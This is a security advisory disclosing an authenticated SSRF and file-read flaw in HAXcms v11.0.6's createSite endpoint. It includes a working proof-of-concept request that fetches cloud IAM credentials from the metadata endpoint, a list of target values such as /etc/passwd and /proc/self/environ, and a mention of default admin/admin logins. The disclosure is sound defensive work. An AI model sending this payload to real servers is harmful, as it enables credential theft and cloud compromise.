GHSA-q862-gcgq-5m6g

Summary

An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.

Details

The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().

The data flow is as follows:

• User input (build.files) is processed via object_to_array() into a PHP array
• Assigned to $filesToDownload in Operations.php (line 2626)
• Iterated over in Operations.php (line 2730), where each entry is passed to HAXCMSFile::save() with bulk-import enabled

In HAXCMSFile.php (line 30), the following occurs:

file_get_contents($upload['tmp_name']);

Here, tmp_name is attacker-controlled and may contain:

• External URLs (http://attacker.com)
• Internal services (http://127.0.0.1)
• Cloud metadata endpoints (http://169.254.169.254)
• Local file paths (/etc/passwd, /proc/self/environ)

The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.

There are no restrictions on:

• URL schemes (http, file, gopher, etc.)
• Destination IP ranges (internal, loopback, metadata services)
• Response content

All fetched content is written to:

sites/<sitename>/files/<filename>

and is accessible via the web.

PoC

Prerequisites:

• Authenticated session (default credentials: admin/admin on fresh installs)
• Valid JWT and CSRF token

Step 1: Log in and capture JWT + CSRF token

Step 2: Send crafted request:

POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json

{
  "site": {
    "name": "poc"
  },
  "build": {
    "files": {
      "poc.txt": {
        "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      }
    }
  }
}

Step 3: Retrieve response:

GET /sites/poc/files/poc.txt

The response will contain the fetched content (e.g., cloud credentials or internal service data).

Impact

• SSRF enabling access to internal network services
• Arbitrary file read via local filesystem paths
• Cloud credential exposure through metadata endpoints
• Data exfiltration via web-accessible file storage

Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.